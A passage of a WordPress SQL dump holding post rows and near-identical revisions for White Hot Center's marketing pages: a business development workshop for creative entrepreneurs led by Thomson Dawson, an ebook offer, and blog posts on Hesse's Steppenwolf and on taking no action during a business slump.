services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:45:08', '2012-01-24 01:45:08', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-95/', 0, 'revision', '', 0),
(1913, 2, '2012-01-23 18:48:07', '2012-01-24 01:48:07', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video above as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic business development planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and help attract more opportunity. Workshop participants learn:\r\n\r\n<strong>To adopt the thinking habits of a proper mindset for success\r\nHow to create a pipeline full of early-stage buyers\r\nHow to develop higher value clients and business relationships\r\nTo elevate their impact and influence with clients in the buying process\r\nHow to make competitors irrelevant\r\nHow to command premium fees for services\r\nTo experience more joy, fulfillment and creative freedom through the venue of their business</strong>\r\n\r\nThis workshop is limited to 24 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-23 18:48:07', '2012-01-24 01:48:07', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-96/', 0, 'revision', '', 0),
(1915, 2, '2012-01-24 02:32:16', '2012-01-24 09:32:16', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-24 02:32:16', '2012-01-24 09:32:16', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-98/', 0, 'revision', '', 0),
(1916, 2, '2012-01-24 02:35:28', '2012-01-24 09:35:28', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><span style="color: #ff7f50;"><strong>The White Hot Center Guide to Creating Competitive Advantage.</strong></span></h2>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-24 02:35:28', '2012-01-24 09:35:28', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-99/', 0, 'revision', '', 0),
(1919, 2, '2012-02-06 18:57:36', '2012-02-07 01:57:36', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\nRecently I received a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\n<strong>The beast within.</strong>\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\n\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\n\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\n\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\n\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their exctasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\n<h2>Now that’s what I call competitive advantage!</h2>\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'inherit', 'open', 'open', '', '1917-revision', '', '', '2012-02-06 18:57:36', '2012-02-07 01:57:36', '', 1917, 'http://www.whitehotcenter.com/2012/02/1917-revision/', 0, 'revision', '', 0),
(1920, 2, '2012-02-06 19:00:16', '2012-02-07 02:00:16', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\nRecently I received a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\n<strong>The beast within.</strong>\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\n\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\n\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\n\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\n\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their exctasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\n<h2>Now that’s what I call competitive advantage!</h2>\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'inherit', 'open', 'open', '', '1917-revision-2', '', '', '2012-02-06 19:00:16', '2012-02-07 02:00:16', '', 1917, 'http://www.whitehotcenter.com/2012/02/1917-revision-2/', 0, 'revision', '', 0),
(1921, 2, '2012-02-06 19:01:16', '2012-02-07 02:01:16', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\nRecently my son I received a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\n<strong>The beast within.</strong>\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\n\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\n\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\n\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\n\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their exctasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\n<h2>Now that’s what I call competitive advantage!</h2>\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'inherit', 'open', 'open', '', '1917-revision-3', '', '', '2012-02-06 19:01:16', '2012-02-07 02:01:16', '', 1917, 'http://www.whitehotcenter.com/2012/02/1917-revision-3/', 0, 'revision', '', 0),
(1922, 2, '2012-02-06 19:03:07', '2012-02-07 02:03:07', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\nRecently my son Brad sent me a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\n<strong>The beast within.</strong>\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\n\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\n\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\n\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\n\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their exctasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\n<h2>Now that’s what I call competitive advantage!</h2>\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'inherit', 'open', 'open', '', '1917-revision-4', '', '', '2012-02-06 19:03:07', '2012-02-07 02:03:07', '', 1917, 'http://www.whitehotcenter.com/2012/02/1917-revision-4/', 0, 'revision', '', 0);
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(1923, 2, '2012-02-06 19:07:46', '2012-02-07 02:07:46', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\nRecently my son Brad sent me a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\n<strong>The beast within.</strong>\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\n\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\n\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\n\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\n\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their ecstasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\n<h2>Now that’s what I call competitive advantage!</h2>\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'inherit', 'open', 'open', '', '1917-revision-5', '', '', '2012-02-06 19:07:46', '2012-02-07 02:07:46', '', 1917, 'http://www.whitehotcenter.com/2012/02/1917-revision-5/', 0, 'revision', '', 0),
(1924, 2, '2012-02-06 19:13:56', '2012-02-07 02:13:56', '<a href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank"><img class="alignnone size-full wp-image-1918" title="the-beast" src="http://whc.fbdev.org/wp-content/uploads/2012/02/the-beast.jpg" alt="" width="495" height="345" /></a>\n<h1><span style="color: #808080;">Creative people walk a fine line. That’s especially true for those creative people who are building businesses around their talent and their desire to create success doing what they love to do. The razors edge of creative freedom to do it your way and having the marketplace accept your work is a very fine line indeed.</span></h1>\nRecently my son Brad sent me a <a title="Steppenwolf Short" href="http://www.youtube.com/watch?v=YwDGVP1tMTg" target="_blank">YouTube link </a>to a 1974 animated short film adapted from Nobel Laureate Hermann Hesse''s classic 1927 novel, "Steppenwolf." This is "The Tractate on the Steppenwolf", a description of the protagonist beautifully played by Max Von Sydow. This animation is by the artist Mati Klarwein, (who was also responsible for classic album covers for Miles Davis and Santana).  I encourage you to check it out. The text still stands the test of time, and beautifully supports the theme of this post.\n<h2><strong>There''s a fine line, a razors edge between the beast who craves the freedom of wild creative expression and the human who craves to fit into the marketplace at all costs. </strong></h2>\n<strong>The beast within.</strong>\nFor those who identify themselves as creatively and artistically expressive, the beast within is your inherent nature being an outlier- wildly expressing your passion, your fire, your untamed desire, your creativity and innovative thinking. According to Hesse’s classic, when the beast within is let out, the human part (marketplace) labels this passion “brute” and  “beast” and “spoils all pleasure in his happy and wild wolf’s being”.\n\nDo you tame your beast and conform to the “bourgeois” status quo marketplace?  Of course, the answer may lie in an endless search for balance between these two dynamic tensions. The balance however, can sometimes feel like the middle of the road. And nothing is more frustrating to your creative nature than clawing your way to the middle!\n\nI don’t believe you can build a business that will sustain your creative energies over the lifetime of your career unless you allow your beast its moments to run free. It’s easy to be frightened of the beast and settle for the voice of the marketplace. So many entrepreneurs in creative professions get comfortable way too soon.\n\nThe beast dies, then the fire goes out trapped in the belief the customer is always right and then take another order. All vanilla and routine.\n\n<strong>Throw away a thousand advantages to protect your liberty.</strong>\nFor those brave enough to let the beast run free, they will experience moments of happiness and satisfaction with such strength and conviction that “the momentary spray of their ecstasy is flung so high over the wide sea of suffering that the very light of it touches others with its enchantments”.\n<h2>Now that’s what I call competitive advantage!</h2>\nGo ahead take a walk on the wild side.', 'The razors edge: creative expression and marketplace success.', 0, '', 'inherit', 'open', 'open', '', '1917-autosave', '', '', '2012-02-06 19:13:56', '2012-02-07 02:13:56', '', 1917, 'http://www.whitehotcenter.com/2012/02/1917-autosave/', 0, 'revision', '', 0),
(2007, 2, '2012-03-02 11:22:01', '2012-03-02 18:22:01', '', 'WHC-Quantum', 0, '', 'inherit', 'open', 'open', '', 'whc-quantum-2', '', '', '2012-03-02 11:22:01', '2012-03-02 18:22:01', '', 2006, 'http://www.whitehotcenter.com/wp-content/uploads/2012/03/WHC-Quantum.jpg', 0, 'attachment', 'image/jpeg', 0),
(2006, 2, '2012-03-02 12:02:07', '2012-03-02 19:02:07', '<img class="alignnone size-full wp-image-2007" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2012/03/WHC-Quantum.jpg" alt="Creating Competitive Advantage in your Creative Business." width="490" height="363" />\r\n<h2><span style="color: #333333;"><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong></span><strong>\r\n<span style="color: #db9b04;">Creating Competitive</span>\r\n<span style="color: #db9b04;"> Advantage in your Creative Business</span>\r\n<span style="color: #333333;">June 15, 2012</span>\r\n<span style="color: #333333;"> Ojai, California</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers</strong>\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n<h2>Without sales there is no business.</h2>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n<h2>Clients have abundant choice. There is no shortage of creative talent in the marketplace.</h2>\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you will not want to miss this opportunity to build a business development foundation and plan for growing your creative business to the next level!\r\n<h2>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\n\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: designers in all discipines, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>What you’ll learn:</strong>\r\n\r\n<strong>Participants will explore fundamental strategies and proven tactics that will enable them to enhance and elevate the effectiveness of their marketing and sales skills by a quantum leap. Here’s what we’ll cover during the workshop day:</strong>\r\n\r\n<strong>• develop and refine your vision for your business growth that enables you to express your passion and enhance your value to clients who are the right fit.</strong>\r\n\r\n<strong>• how to develop a value proposition and positioning your busiess to set you apart from competitors and positions you as the expert in the minds of higher value clients who gladly pay a premium to work with you and your team.</strong>\r\n\r\n<strong>• understanding the complete sales process and how to effectively generate early-stage leads and nurture clients-to-be though the entire sales process to closing the deal.</strong>\r\n\r\n<strong>• how to be a value creator rather than an order taker in the sales conversation, leading your clients in the sales process and retaining your power in the buying process.</strong>\r\n\r\n<strong>• how to write proposals that win more business.</strong>\r\n\r\n<strong>• explore your “genius zone” the set of activities that enable you to experience the most joy and satisfaction, greater energy and productivity working with your team serving higher value clients.</strong>\r\n\r\n<strong>• how to increase your referrals and turn your clients into a non-paid sales force.</strong>\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 30, 2012\r\nAdditional discount of $50 off for each additional person in your firm prior to April 30, 2012.\r\n\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #808080;">Early Registration</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with full information on the venue location, accomodations, and how to confirm your spot in early registration prior to April 30, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong></strong>\r\n<h1><a href="mailto://thomson@whitehotcenter.com" target="_blank"><span style="color: #808080;"><strong>Register Now and Save!</strong></span></a></h1>', 'Creating competitive advantage and sales success in your creative business.', 0, '', 'publish', 'open', 'open', '', 'creating-competitive-advantage-and-sales-success-in-your-creative-business', '', '', '2012-03-02 15:56:49', '2012-03-02 22:56:49', '', 0, 'http://www.whitehotcenter.com/?p=2006', 0, 'post', '', 0),
(1927, 2, '2012-02-21 15:52:32', '2012-02-21 22:52:32', '<img class="alignnone size-full wp-image-1929" title="hammock" src="http://whc.fbdev.org/wp-content/uploads/2012/02/hammock1.jpg" alt="" width="495" height="388" />\r\n<h1><span style="color: #808080;">In the quest for achievement and getting your business to the next level, it’s easy to obsess about if you’re doing the right things. Sometimes doing nothing at all can create new opportunity.</span></h1>\r\nThe conventional viewpoint is the path to accomplishment and achievement is the result of consistently doing many things right. True enough, success is the result of productive actions–eventually. However, getting there (where ever that is for you) is not always a nice straight line. The road to any accomplishment can have many detours and side trips. After a period of time, and experiencing no results, it gets more palpable to believe you might be wasting your time and resources barking up the wrong tree or digging holes for gold in the wrong places.\r\n\r\nHow do you know what activities are on course or off course toward your goal of accomplishment? You don’t know and you can’t know. And that’s where your intuition comes into play–the part of you that knows the unknowable yet trusts the process anyway. Maybe no action at all is the effective thing to do.\r\n\r\nLet’s put this idea of “no action” into a business context by sharing a story with you that illustrates what we’re talking about here. Recently, a management consultant colleague of mine was sharing with me the severe downturn in his business when he really wasn’t sure where his next client was coming from. Here’s the story:\r\n\r\n<strong><em>“In the fall of 2008 everything on my calendar cancelled as the world went into financial panic. After about 15 minutes of, "Oh shit…!!" and thinking I needed to hustle up some 